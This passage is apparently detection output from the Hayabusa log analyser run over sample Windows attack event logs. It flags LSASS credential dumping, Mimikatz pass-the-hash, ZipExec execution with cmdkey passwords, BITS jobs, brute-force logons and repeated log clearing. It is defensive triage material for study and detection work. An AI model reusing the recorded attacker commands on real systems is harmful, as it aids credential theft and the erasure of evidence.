10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:12.553 +09:00,FS03.offsec.lan,5145,medium,Suspicious Access to Sensitive File Extensions,,rules/sigma/builtin/security/win_susp_raccess_sensitive_fext.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:13.725 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Sysmon\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:22.291 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Sysmon\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:39:26.349 +09:00,FS03.offsec.lan,4104,high,Suspicious PowerShell Keywords,,rules/sigma/powershell/powershell_script/powershell_suspicious_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID800-4103-4104-LSASS dump with LSASSY (PowerShell).evtx +2021-10-20 23:39:26.349 +09:00,FS03.offsec.lan,4104,high,PowerShell Get-Process LSASS in ScriptBlock,,rules/sigma/powershell/powershell_script/powershell_suspicious_getprocess_lsass.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID800-4103-4104-LSASS dump with LSASSY (PowerShell).evtx +2021-10-22 01:27:02.319 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: cscript.exe //e:jscript testme.js : Path: C:\Windows\System32\cscript.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:02.319 +09:00,LAPTOP-JU4M3I0E,1,medium,WSF/JSE/JS/VBA/VBE File Execution,,rules/sigma/process_creation/win_susp_script_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:02.999 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmdkey.exe"" /generic:Microsoft_Windows_Shell_ZipFolder:filename=C:\Users\bouss\AppData\Local\Temp\lync.zip /pass:tWIMmIF /user:"""" : Path: C:\Windows\System32\cmdkey.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: cscript.exe //e:jscript testme.js",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:02.999 +09:00,LAPTOP-JU4M3I0E,1,medium,Suspicious ZipExec Execution,,rules/sigma/process_creation/win_pc_susp_zipexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:12.858 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Users\bouss\AppData\Local\Temp\Temp3_lync.zip\i.exe"" : Path: C:\Users\bouss\AppData\Local\Temp\Temp3_lync.zip\i.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: cscript.exe //e:jscript testme.js",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:12.946 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmdkey.exe"" /delete Microsoft_Windows_Shell_ZipFolder:filename=C:\Users\bouss\AppData\Local\Temp\lync.zip : Path: C:\Windows\System32\cmdkey.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: cscript.exe //e:jscript testme.js",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:12.946 +09:00,LAPTOP-JU4M3I0E,1,medium,Suspicious ZipExec Execution,,rules/sigma/process_creation/win_pc_susp_zipexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:14.015 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Program Files\Elastic\Endpoint\elastic-endpoint.exe"" popup ""Malicious Behavior Detection Alert"" ""Elastic Security detected Execution via Renamed Signed Binary Proxy"" ""C:\Program Files\Elastic\Endpoint\cache\resources\elastic-endpoint-security.png"" : Path: C:\Program Files\Elastic\Endpoint\elastic-endpoint.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Program Files\Elastic\Endpoint\elastic-endpoint.exe"" run",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 02:38:36.711 +09:00,FS03.offsec.lan,4104,medium,Windows PowerShell Web Request,,rules/sigma/powershell/powershell_script/powershell_web_request.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1197-BITS jobs/ID800-4103-4104-PowerShell BITS job started.evtx +2021-10-22 02:53:42.530 +09:00,FS03.offsec.lan,59,informational,Bits Job Creation,Job Title: BITS Transfer : URL: https://releases.ubuntu.com/20.04.3/ubuntu-20.04.3-desktop-amd64.iso,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1197-BITS jobs/ID60-High volume file downloaded with BITS.evtx +2021-10-22 05:40:12.867 +09:00,FS03.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: mimikatz.exe : Path: C:\TOOLS\Mimikatzx64\mimikatz.exe : User: OFFSEC\admmig : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:12.867 +09:00,FS03.offsec.lan,1,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:12.867 +09:00,FS03.offsec.lan,1,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.120 +09:00,FS03.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: mimikatz.exe",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.120 +09:00,FS03.offsec.lan,1,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.120 +09:00,FS03.offsec.lan,1,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.136 +09:00,FS03.offsec.lan,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.136 +09:00,FS03.offsec.lan,10,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.136 +09:00,FS03.offsec.lan,10,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 22:39:49.619 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1016-System Network Configuration Discovery/ID4688-Firewall configuration enumerated (command).evtx +2021-10-22 23:02:11.218 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1016-System Network Configuration Discovery/ID4688-Scheduled task configuration enumeration.evtx +2021-10-22 23:02:15.177 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Sysmon\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1016-System Network Configuration Discovery/ID4688-Scheduled task configuration enumeration.evtx +2021-10-24 06:50:11.666 +09:00,FS03.offsec.lan,4625,low,Logon Failure - Unknown Reason,User: - : Type: 10 : Workstation: - : IP Address: 10.23.23.9 : SubStatus: 0x0 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-UnknownError.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0001-Initial access/T1078-Valid accounts/ID4625-brutfoce with denied access due to account restriction.evtx +2021-10-24 06:51:57.212 +09:00,FS03.offsec.lan,4625,low,Logon Failure - Unknown Reason,User: - : Type: 10 : Workstation: - : IP Address: 10.23.23.9 : SubStatus: 0x0 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-UnknownError.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0001-Initial access/T1078-Valid accounts/ID4625-brutfoce with denied access due to account restriction.evtx +2021-10-26 03:04:30.334 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:09:51.875 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.002 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.080 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.095 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.127 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.142 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.215 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.293 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.340 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.355 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.418 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.480 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.527 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.574 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.591 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.606 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.638 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.653 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.669 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.747 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.778 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.794 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.841 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.856 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.888 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.903 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.950 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.997 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.028 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.044 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.059 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.075 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.106 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.138 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.184 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.200 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.216 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.231 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.263 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.294 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.309 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.325 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.341 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.356 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.403 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.419 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.434 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:10.450 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event 